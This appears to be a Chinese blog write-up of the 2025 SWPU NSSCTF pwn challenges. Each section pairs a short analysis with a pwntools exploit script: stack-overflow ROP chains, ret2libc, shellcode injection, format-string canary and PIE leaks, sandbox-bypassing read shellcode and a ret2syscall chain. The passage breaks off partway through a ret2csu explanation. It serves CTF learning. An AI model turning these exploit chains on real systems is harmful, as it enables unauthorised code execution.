2025-SWPU-NSSCTF(Pwn全)

前边很大一部分是我很久以前刚刚学的时候写的,想想也要有8、9个月以前了,前边很多题可能解法比较复杂或者写的烂也是因为这个()

最近翻出来发现之前不会的一直尬在那里没去补,所以就想着补完发一份了

当时作为新人打这个比赛其实打的还是很开心的,当时的ai也没那么发达

pwn

Does your nc work?

直接虚拟机nc node5.anna.nssctf.cn 25196

这边我们先进入根目录,ls列一下,发现有个nss,那我想cat一下,结果不是

那继续cd进去nss目录,看见ctf想继续cat,结果又不是

最后打开ctf目录才是,答案为NSSCTF{4e2ebb16-becf-492a-a3cb-208e5d458076}

gift_pwn

nc node4.anna.nssctf.cn 28348

输入虚拟机然后就没动静了,那没办法只能开ida看看了

可以看到这边vuln存在有栈溢出的漏洞,因为显然buf只能存储16字节的数据,但是read函数允许读取100个字节以内的数据,因此很容易栈溢出。我们可以通过溢出的部分来执行任意代码

这边可以看到还有/bin/sh,点开来看看

这边可以看到/bin/sh开始于4005B6

所以构造这样子的payload即可

直接ls发现flag然后cat即可

NSSCTF{2ef7ead1-9abc-4d8e-bce4-87ecfebe3453}

口算题卡

这网站登不上,只能nc了nc node4.anna.nssctf.cn 28790

不是这比赛怎么全是litctf(欺负我上次lit没去比是吧)

做了几道发现没啥用,再做几道试试看

怪好玩的,但这样子不知道什么时候是个头,必须写一个代码循环完成计算工作,直到出现答案

每行自动计算,最后得到如下结果

答案如上

Where_is_shell

保护:

先die看看

64位Linux,注意payload用p64封装

这边可以看到这个read函数能写56个

但是buf搞0x10+8就溢出了

我们搞这个64位传参

这边可以看到我们system的参数是不对的,我们需要用pop把bin_sh给谈到rdi里,然后system这个bin_sh
这边我们需要这个rdi和ret的地址,我们利用代码

ROPgadget –binary “shell” –only “pop|ret”

这边即可得到

rdi = 0x04005e3

ret = 0x0400416

接下来传参给system即可

哦?没有/bin/sh啊,但是保护开了NX,我们用不了shellcode

但是搜sh是可以搜到的(也是正好sh可以指向这个/bin/sh)

next,所以sh的地址不是0x400540,而是0x400541,这应该是唯一的难点了

后边就传参就是了,注意题目和64位需要ret栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
io=remote("node4.anna.nssctf.cn",28447)

padding=0x10+8
rdi = 0x04005e3
ret = 0x0400416
system = 0x400430
sh = 0x400541

payload = b"a"*padding +p64(rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)

io.interactive()

NSSCTF{649095a2-cd59-4c3d-b7d8-0ee0f1f70378}

shell

??没附件?

额,这是。。?这。签到题吧,怎么会比刚那题做的人少啊?这都没难度啊

NSSCTF{64a18987-9d10-4bf1-81d0-a5d2a6a74d80}

ret2text_ez

保护

64位

在vuln函数可以找到漏洞点

0x20+8溢出

存在后门函数,我们直接构造漏洞后定位到这边即可,简单题

backdoor地址为0x401196

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = "debug"
io=remote("node5.anna.nssctf.cn",29705)

padding=0x20+8
backdoor=0x401196

payload = b"a"*padding +p64(backdoor)
io.sendline(payload)

io.interactive()

NSSCTF{b094eec7-ea92-4af1-b5e0-90b830ff48fe}

ezpie

先看保护,这边开了PIE

然后看die

这边开了PIE

即位置无关可执行文件,这意味着我们不能再直接写地址构造过去

NX没开,所以不能构造shellcode

PIE没开,所以不能直接用地址

所以我们只能用已经使用过的函数得到基地址,再利用基地址加偏移地址得到shell地址了

当然,利用上述知识,我们也可以直接从main跳到shell,由于相对偏移固定不变,所以我们只要知道main和shell间的相对偏移即可迁移过去

利用ida,我们其实可以直接得到这俩中间差了0x80F-0x770=0x9F(readelf读也一样)

一般地址的字符串输出出来都是十位,0x后边跟8位

这边我们要做加法,但是截取之后的地址是带着0x的字符串

所以我们要先int(,16),然后再加9F去

这边不是0x00000770吗mian地址,所以我们就截断70然后要前边的十位即可

main_now = io.recvuntil(‘70’)[-10:]

main_addr = int(main_now,16)

别忘了构造溢出

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
io=remote("node7.anna.nssctf.cn",27715)

padding=0x28+4
main_now = io.recvuntil('70')[-10:]
main_addr = int(main_now,16)

payload=b"a"*padding+p32(main_addr+0x9F)
io.sendline(payload)

io.interactive()

得到flag

NSSCTF{02f1ff7b-26c3-4cbb-91d4-878d66569199}

getshell2

保护:

这边可以看到32位,die就省了

溢出点还是蛮好找的,就在main函数里的vulnerable函数

padding=0x18+4

system里的内容奇奇怪怪(),但是没有别的/bin/sh了

1
2
ROPgadget --binary service  --string '/bin/sh'
ROPgadget --binary service --string 'sh'

但是搜索可以搜到有’sh’

得到sh的地址在0x08048670

那直接32位传参开始了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
io=remote("node5.anna.nssctf.cn",29307)

padding=0x18+4
system=0x08048529
sh=0x08048670

payload = b"a"*padding+p32(system)+p32(sh)
io.sendline(payload)

io.interactive()

藏的够深的啊

NSSCTF{64d636d0-6ca3-4d28-80de-5d383b93ba0e}

ret2shellcode

保护:

给了个c语言的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}

所以看似这边是只有NX保护,但是又用mprotect提高了权限,又用strcpy移动到全局变量所在位置,靠着之前的mprotect变的可执行,于是在这样子的协作下成功让shellcode能用了

这边可以看到了经典的栈溢出漏洞

溢出为padding = 0x100+8

先溢出,然后直接shellcode传上去即可

构造shellcode:

shellcode = asm(shellcraft.sh())

由于代码是把buf复制到buff里边

所以我们一开始就要输入shellcode,在算上shellcode之后再去溢出,也就是下边这样子

shellcode.ljust((0x100+0x08),b”a”)

最后返回p64(buff)

所以代码也很精简

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",20680)

shellcode=asm(shellcraft.sh())
buff=0x004040A0
payload=shellcode.ljust((0x100+8),b"a")+p64(buff)

io.sendline(payload)
io.interactive()

这边这一行很重要context(os=’linux’,arch=’amd64’,log_level=’debug’)

因为shellcode默认干的是32位的,现在我们需要64位需要强调一下

得到flag:

nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}

babyarray

保护:

64位

大概意思是我们写的内容(我觉得得是个数字)会存到v4这个地址,最多写0x4+8个内容

然后呢,这个数字会拿来乘以4后加6295712

而我们第二次输入的东西就到这个大数字的地址

而我们的目标也挺明确,让a=0

a现在是恒等于1

地址为0x0601068

所以很明确了啊,我们先构造一个能到0x0601068(即6295656)的输入,再写个0输入

(6295656-6295712)/4

算一下,一开始得输入的是-14

OK构造exp

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.anna.nssctf.cn",28402)

io.recvuntil("index:")
io.sendline("-14")
io.recvuntil("value:")
io.sendline("0")
print(io.recv())

NSSCTF{baby_arr@yxxxx}

PWN1

保护:

提示Ubuntu 18的时候就该知道了,是64位且要注意栈对齐问题

NX保护了,不能直接构造shellcode,要ROP

这个程序的内容大概理解一下也是这样子

就是先问你三选一,选3没用,选2就继续问,直到你选1

然后进入加密环节

解密环节就是先纯异或,这似乎意味着我们可以把密文拿来加密一遍得到答案

额好像有点纰漏,问题不大,不过我没看懂这玩意有啥用这个加密

主要是这题什么都没有,无system无bin_sh,并且具备着puts函数打印泄露

所以这一题基本上考虑就是泄露+ret2libc的结合

加密函数或许是为了给这个gets函数吧,拿来栈溢出用

栈溢出的大小是0x50+8

这边我们发现程序多次运用puts函数,因此可以利用puts函数来泄露libc地址

构造payload1还需要注意栈对齐,这边利用命令搜索一下rdi和ret的地址

ROPgadget –binary “pwn” –only “pop|ret”

所以rdi=0x0400c83

ret=0x04006b9

然后我们即可构造payload1

payload1=b”a”*padding+p64(rdi)+p64(puts_got)+p64(ret)+p64(puts_plt)+p64(main)

这边就是上述的payload1大概的内容

注意因为我们这边的栈溢出靠的是gets函数,我们需要有一个gets函数的地方,而这个地方在encrypted函数内部

所以我们这边需要注意一下sendline的地址,打好断点

先定位Input your choice!然后输入1

等再一次定位到encrypted说明进入内部了,这个时候再放payload1

1
2
3
4
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("encrypted")
io.sendline(payload1)
1
2
io.sendlineafter('Input your choice!\n',b'1')
io.sendlineafter('encrypted',pay)

发完payload1后就要开始搭建2了

这边直接照例截断

puts=u64(io.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))

得到puts的真实地址,因为64位需要截取往前6个字节的数据,数据后方需要补零.ljust(8, b”\x00”))补零之后才能被u64进行小端序转换

得到之后我们直接利用libcsearcher去得到libc库

然后利用puts算出基地址后利用这个得到system和/bin/sh

这边主要麻烦的还是栈对齐问题,这个是心腹大患,我感觉我没法很好的处理,目前一直是在疯狂试错

好吧可以动调然后来看调用的函数看看最后的空间地址是不是8结尾的,是的话得加ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context (os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
io=remote("node5.anna.nssctf.cn",24164)

main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
padding=0x50+8

rdi=0x0400c83
ret=0x04006b9

payload1=b"a"*padding+p64(rdi)+p64(puts_got)+p64(ret)*2+p64(puts_plt)+p64(main)
#这边的p64(ret)是可以不写的,毕竟乘2和0是一样的
io.recvuntil("Input your choice!\n")
io.sendline(b"1")
io.recvuntil("encrypted")
io.sendline(payload1)

puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
bin_sh=libc_base+libc.dump("str_bin_sh")

payload2=b"a"*padding+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter('Input your choice!\n',b'1')
io.sendlineafter('encrypted',payload2)
#用前边的先recvuntil再sendline也一样

io.interactive()

成功得到flag:NSSCTF{d637db40-0b4e-45d9-bda3-286d44f6654c}

ezr0p32

保护:

32位,看看main函数

system函数在这边,溢出点也在这边

padding=0x1C+4

那很明确了,只差一个/bin/sh,先搜搜看吧

1
2
ROPgadget --binary pwn  --string '/bin/sh'
ROPgadget --binary pwn --string 'sh'

什么都没有欸,而且题目说不要用libc

你看第一个这边还有一个buf,是无栈溢出漏洞的

而且ctrl+s搜索之后发现这一块是可写的,我们不需要执行,只要可写就好了

那事情就简单了,先打断点,直接往这边写/bin/sh

然后再往下走,走到栈溢出漏洞所在处,构造栈溢出漏洞,然后32位传参即可

好我们直接写代码

需要的地址:

bss_addr=0x0804A080

system=0x080483D0

OK了,写代码去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level="debug"
io=remote("node5.anna.nssctf.cn",25750)

bss_addr=0x0804A080
system=0x080483D0
padding=0x1C+4

io.recvuntil(b"name")
io.sendline(b"/bin/sh")

io.recvuntil(b"now it's your play time~")
payload=b"a"*padding+p32(system)+p32(0)+p32(bss_addr)
io.sendline(payload)

io.interactive()

得到flag:nssctf{L3arn_R0p_1s_3@5y_but_k33p_is_c00l}

ezcmp

保护:

一道动调题

给了一个c

是一串加密的代码,这边strcpy会把后边那一串传给buff

然后又去加密buff

最后是用buff和我们的输入去比较,只要相同成功就有system(“/bin/sh”);了

为什么说是一道动调题,主要还是因为这边加密的内容其实是固定的

所以我们是可以动调结束看看最后的加密内容的,然后直接输入加密结果去和加密结果比,肯定一模一样啊

1
2
3
4
5
chmod 777 ezcmp改一下属性先,不然跑不起来
gdb ezcmp
break main打断点
run跑起来
n一直步过

一直过到这个strncmp的比较环节

这边可以看到buff的地址,就在下边一行

我们要看的自然是这个下边的内容

直接输入x/10gx 0x404100可以查看0x404100即往下数的 ,10个地址的数据(多点,避免看少了)

OK啊我们直接复制粘贴payload进去就是了

0x144678aadc0e4072 0x84b6e81a4c7eb0e2

0xf426588abcee2052 0x0000c8cb2c5e90c2

这边打上断点

直接写代码

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level="debug"
io=remote("node5.anna.nssctf.cn",21164)

io.recvuntil("GDB-pwndbg maybe useful\n")
payload=p64(0x144678aadc0e4072)+p64(0x84b6e81a4c7eb0e2)+p64(0xf426588abcee2052)+p64(0x0000c8cb2c5e90c2)
io.sendline(payload)

io.interactive()

得到flag:nssctf{Yo0ur_ggddddb_1s_o00okkk!}

不是哥们ret2text还阴啊?

保护:

这个保护怕是确实有点阴

开了影子栈和间接分支跟踪

简而言之就是v2每次循环读一个进v1[i]

result = v1[i]

如果是\n就跳出循环,然后++i

而后门也很明确。就在path1

那直接构建栈溢出返回path1就好了啊,这题唯一的难点就在于不能直接跳转

1
2
3
4
int result; // eax
char v1[56]; // [rsp+0h] [rbp-40h] BYREF
int v2; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]

可以看到v1到栈底是0x40的距离,而i是0x4的距离

所以不难理解我们一味塞东西会把i一起干掉

我们是要塞0x48个的,也就是说i得是0x47(i从0开始数

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = remote('node6.anna.nssctf.cn', 26665)
backdoor = 0x4011F1

payload = b'a'*(0x40-0x4) + b'\x47' + p64(backdoor)
io.sendline(payload)
io.interactive()

得到flag

find_flag

保护:

64位,这特么啥??全开了??

先ida看看吧

直接shift+f12,别的不知道,这个函数有点意思,只要运行这个函数就什么都有了

sub_1229

由于保护全开,所以我们必须一个个绕过,首先是还原金丝雀Canary(说起来上边画的是不是就是金丝雀啊。)

(有点太难了,后边再看吧)

好我回来了

这边是主要的部分,噢现在看懂了,有格式化字符串漏洞的一道题,保护开了不少,但是通过格式化字符串可以把pie_base和canary的值全部泄露,然后就可以全部bypass了

还有明显的栈溢出和后门函数,也就是说我们只需要直接用第一个gets函数的格式化字符串得到PIE_base和canary,之后直接构造payload,利用第二个栈溢出返回到后门函数即可

先探测参数位置

1
AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

我们知道canary一般最后是00结尾防止栈溢出的,所以是第17位这一个

而pie基址可以通过返回地址得到,返回地址在rbp+8,也就是canary上方16字节处,所以是第19位这一个,看起来也符合数字范围

当然了,直接算也可以的

format到rbp有0x60,canary又=rbp-0x8,所以canary_offset=(0x60-0x8)/8+6=17

其实都是一样的

好接下来编写exp,在写的时候绕过canary,跳转地址的时候加piebase就好了

1
2
3
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

栈溢出的时候先写0x40-8的,然后填充canary,再溢出,再回到backdoor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote('node4.anna.nssctf.cn', 26912)
backdoor = 0x1229


io.sendlineafter('name?', '%17$p---%19$p')
data=io.recvuntil("!").decode()
tmp=data.split(" ")[5].split("---")[0]
canary=int(tmp,16)
tmp=data.split("---")[1].split("!")[0]
pie_int=int(tmp,16)

pie_base = pie_int - 0x0146F
backdoor = backdoor + pie_base

payload = b'a'*(0x40-8)+p64(canary)+b'a'*8+p64(backdoor)
io.sendlineafter('Anything else? ', payload)
io.interactive()

得到flag

fmtstrre

又是一道格式化字符串的题目,而且还有hint

保护:

打开IDA可以看到上来就读了flag放在了fd里边,之后还有一个格式化字符串漏洞,我们可以直接输出

这边可以看到是把flag放到了name里边

直接就可以看到name在.bss段

我们先利用格式化字符串然后看看这个0x4040C0在第几个

1
AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

但是这样子数太累了,一个是写脚本,另一个就是看结构计算位置

1
2
3
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
void *v5; // [rsp+100h] [rbp-10h]
int fd; // [rsp+10Ch] [rbp-4h]

buf到rbp是0x110,而v5到那是0x10,正好中间差了0x100

0x100/8+6 =38,所以是第38个参数

%38$s

即得

nssctf{Never_giv3_up!!Chall3nge_y0urs31f!!}

(我当时是懒得了解吗,这种简单题都没做)

shellcode?

保护:

说是shellcode结果NX开了,应该是有法子让我们在栈上执行代码

可以看到这边mmap映射了一段可写可读可执行的内存

在0x30303000,而且很大啊,后边我们还能read写进去

甚至最后直接把我们写的这个内存地址当作了函数调用

那我们直接去那边shellcode就好了

1
2
3
4
5
6
7
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote('node5.anna.nssctf.cn', 23391)

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

就那么简单

babyfmt

两个babyfmt,不知道哪一个是原来的赛题了

可能是这一个?

保护:

在输入name这边存在格式化字符串漏洞,我们直接修改nptr,使其等于一个固定值就好了(一开始不是随机数嘛

接下来就是确定是第几个参数了

第十个,在这边利用格式化字符串修改0x804C044的内容即可

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = remote('node5.anna.nssctf.cn', 23174)

payload = fmtstr_payload(10, {0x804C044: 1})

io.sendlineafter(b'your name:',payload)
io.send(b'1')

io.interactive()

simple_shellcode

保护:

你们shellcode都这样吗

有的时候我在想在新生赛看见这样子的多保护题是不是应该开心,毕竟新生赛的题开那么多保护反而很简单

跟上边那个shellcode有点像,这边也是会执行我们输入的,但是这边多了一个sandbox,而且只允许我们输入0x10的大小

禁用了execve和execveat的系统调用,但是是允许别的系统调用的,允许ORW

我们可以直接用syscall进行read的系统调用读取文件,就是shellcode需要我们自己构造了,不太好shellcraft直接出,因为长度限制的很小

1
2
3
4
5
mov rdi, rax    # 1. 准备 read 的参数
mov rsi, rdx # 2. 设置缓冲区地址
add rsi, 0x10 # 3. 调整地址偏移
syscall # 4. 执行 read 系统调用
call rsi # 5. 跳转到新代码

其实就是一个read(0, 0xcafe0010, 0x1000) (因为rdx这个时候是0xcafe0010

主要是为了扩大长度

之后直接用shellcraft写shellcode读取flag就好啦,符合题目的说法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote('node5.anna.nssctf.cn', 21426)

shellcode = asm('''
mov rdi, rax;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;
''')

io.sendlineafter(b'shellcode:\n', shellcode)

payload = asm(shellcraft.cat('/flag'))
io.sendline(payload)

io.interactive()

烧烤摊儿

霍还是ciscn的初赛题

保护:

注意一下这题是静态的,可能是跟ret2syscall有点关系

就是不一样,还有一堆啤酒串

可以先看看菜单

大概是啤酒10块,串5块,但是这边v9是int,我们可以v9<0,然后就有一大堆钱了

赚钱小妙招

然后可以check一下有多少钱

一开始是233

如果有10w+的钱还能买一个vip,承包了,由于前边能刷钱了,钱不是问题

如果有vip就能这样子了,多了一个改名

这边是吧我们写的输入v5,然后v5会复制到全局变量name里边

显然这边存在栈溢出,虽然开了canary但是这边没有检查

而且我们一早就知道是ret2syscall,还有一堆寄存器,很多特征在跟我们说就是打这条线

64位的经典链子看看能不能套

1
2
3
4
5
6
7
8
9
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

找这些东西填入即可

1
2
3
4
ROPgadget --binary ./shaokao --only "pop|ret"|grep rax
ROPgadget --binary ./shaokao --only "pop|ret"|grep rdi
ROPgadget --binary ./shaokao --only "pop|ret"|grep rsi
ROPgadget --binary ./shaokao --only "pop|ret"|grep rdx

这边带到rbx了,我们在原来的模板payload的基础上要多写一个0

1
2
3
4
5
pop_rax = 0x458827
pop_rdi = 0x40264f
pop_rsi = 0x40a67e
pop_rdx = 0x4a404b
syscall = 0x402404

最后一个/bin/sh我们就直接自己写进去,然后会被传到name的全局函数的

name = 0x4e60f0

构造exp即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
io = remote('node4.anna.nssctf.cn', 23743)

pop_rax = 0x458827
pop_rdi = 0x40264f
pop_rsi = 0x40a67e
pop_rdx = 0x4a404b
syscall = 0x402404
name = 0x4e60f0

io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'-100000')
io.sendline(b'4')
io.sendline(b'5')

payload = b'/bin/sh\x00'
payload += b'a'*0x20
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(name)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)

io.sendlineafter("请赐名:\n", payload)
io.interactive()

NSSCTF{8930b5a3-1c2c-43d6-be61-c87442002c80}

Darling

保护:

darling你保护开的有点多啊

来看看IDA,上来是pic函数和darling函数

之后设置了20020819为随机数种子,生成了v5

最后是我们输入一个v4,作比较,和v5一样就进入后门,提权,大致的逻辑还是很清晰的

看看pic和darling函数,这俩纯是puts输出logo的

其实很简单,我们都有种子了,直接照葫芦画瓢复现就好了

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main()
{
int v5;
srand(20020819);
v5 = rand() % 100 - 64;
printf("%d",v5);
}

得到是17

当然了,本来就限制了区域在[-64,35]

我们直接爆破也可以

1
2
3
4
5
6
7
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = remote('node5.anna.nssctf.cn', 23740)
payload=str(17).encode()
io.sendlineafter(b'you.\n',payload)
io.interactive()

你这辈子都是被黑神话害了

保护:

说是简单的整数溢出

像闯关,只要不被exit0即可得到shell

连上大概是这样子的

这边是以时间作为了随机数种子,不太好直接在外边搞,然后得到两个随机数,存到v5

强制要求了v6在0x80000000到0xFFFFFFFF之间后,类似于%u输出了v6的值

最后要求我们输入东西到nptr,这个nptr最后会atoi后存到v7

要求这个nptr的第一位是-负号,然后转化完的整数v7<0

还要求无符号的v6和有符号的v7相等

思路很明确了,拿到输出的数字之后直接-0x100000000然后把东西输入进去就好啦

就这样子就好了

NSSCTF{ec587bbc-a20b-4723-9463-50e297ea95b4}

babyrop2

保护:

可以看到开了NX和Canary的一道题

main函数就gift和vuln俩函数

先看gift,给了一个格式化字符串的漏洞礼物,但似乎只能输入6个字符

后边vuln是一个栈溢出,还有两个Canary

大概思路很明确,就是一道利用格式化字符串进行Bypass的姿势

我们利用格式化字符串输出Canary的值然后填充栈溢出即可

首要任务是算出Canary在第几个参数

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

for i in range(1,20):
io = remote('node4.anna.nssctf.cn', 26631)
payload = f'%{i}$p'.encode()
io.sendlineafter(b'help u!\n',payload)
io.interactive()

我们可以这样子直接一个个尝试,毕竟长度有限,找到末尾两个是0的大概率就是Canary值

大概率是第七位,当然我们也可以进行计算啊

1
2
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

根据栈布局,format在rbp-0x10,然后Canary在rbp-0x8

所以明显是第(0x10-0x8)/8+6=7

第七个确实是Canary的值

之后直接栈溢出即可,就是这题无system无binsh

所以这边直接进行ret2libc即可

栈结构是这样,我们先叠b’a’*(0x20-8)到canary面前那,然后再去输入8个a之后就能栈溢出了

前边还需要先泄露一下libc_base

要传参肯定需要rdi和ret

pop_rdi = 0x400993

ret = 0x4005f9

所以我们可以开始编写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('node4.anna.nssctf.cn', 26631)

elf = ELF('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.sym['vuln']
pop_rdi = 0x400993
ret = 0x4005f9

#先得到canary的值
payload1 = '--%7$p'
io.sendlineafter(b'help u!\n',payload1)
io.recvuntil(b'--')
canary = int(io.recvuntil(b'\n'),16)

#接着来得到libc_base
payload2 = b'a'*(0x20-8)
payload2 += p64(canary)
payload2 += b'a'*8
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(vuln_addr)
io.sendline(payload2)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

#最后来执行system('/bin/sh')即可
payload3 = b'a'*(0x20-8)
payload3 += p64(canary)
payload3 += b'a'*8
payload3 += p64(pop_rdi)
payload3 += p64(bin_sh)
payload3 += p64(system_addr)
io.sendline(payload3)
io.interactive()

PWN2

也不知道是哪一个PWN2,有一大堆的PWN2

随便挑一个做好了

保护:

打开IDA发现是一个叫做加密机器的东西

有选项,但是如果我们写2解密就会显示我们可以自己做

所以这个begin只能写1

打开来直接就能看见栈溢出,gets函数+不检测长度

接下来直接打就好了,直接打ret2libc

1
2
pop_rdi = 0x400c83
ret = 0x4006b9

这一题还需要注意一下栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('node5.anna.nssctf.cn', 28661)

elf = ELF('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
encrypt = 0x4009A0
pop_rdi = 0x400c83
ret = 0x4006b9
offset = 0x50+8

payload = b'a'*offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(encrypt)
io.sendlineafter(b'Input your choice!',str(1))
io.sendlineafter(b'be encrypted',payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system_addr)
io.sendline(payload2)
io.interactive()

ret2csu

保护:

来看看IDA

很明显的栈溢出

这题提示给的很明确了就是ret2csu,这边我也是跟着博客重温了一下,之前去年暑假学的有点遗忘了

https://tamoly.github.io/2025/07/06/%E6%A0%88%E7%9F%A5%E8%AF%86%E7%82%B9/ret2csu/index.html

什么是ret2csu,因为我们很多时候找不到函数前六个参数的寄存器对应的gadgets,所以这个主要是在利用x64的__libc_csu_init函数中的gadgets

这个__libc_csu_init函数是用来对libc初始化的,所以一般这个函数一直都在那边

可以看到的确初始化libc的基本上都会有这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.text:0000000000401250 ; =============== S U B R O U T I N E =======================================
.text:0000000000401250
.text:0000000000401250 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000401250 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

主要利用的是下边两部分的汇编,我们先来看第一段

1
2
3
4
5
6
7
8
9
10
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
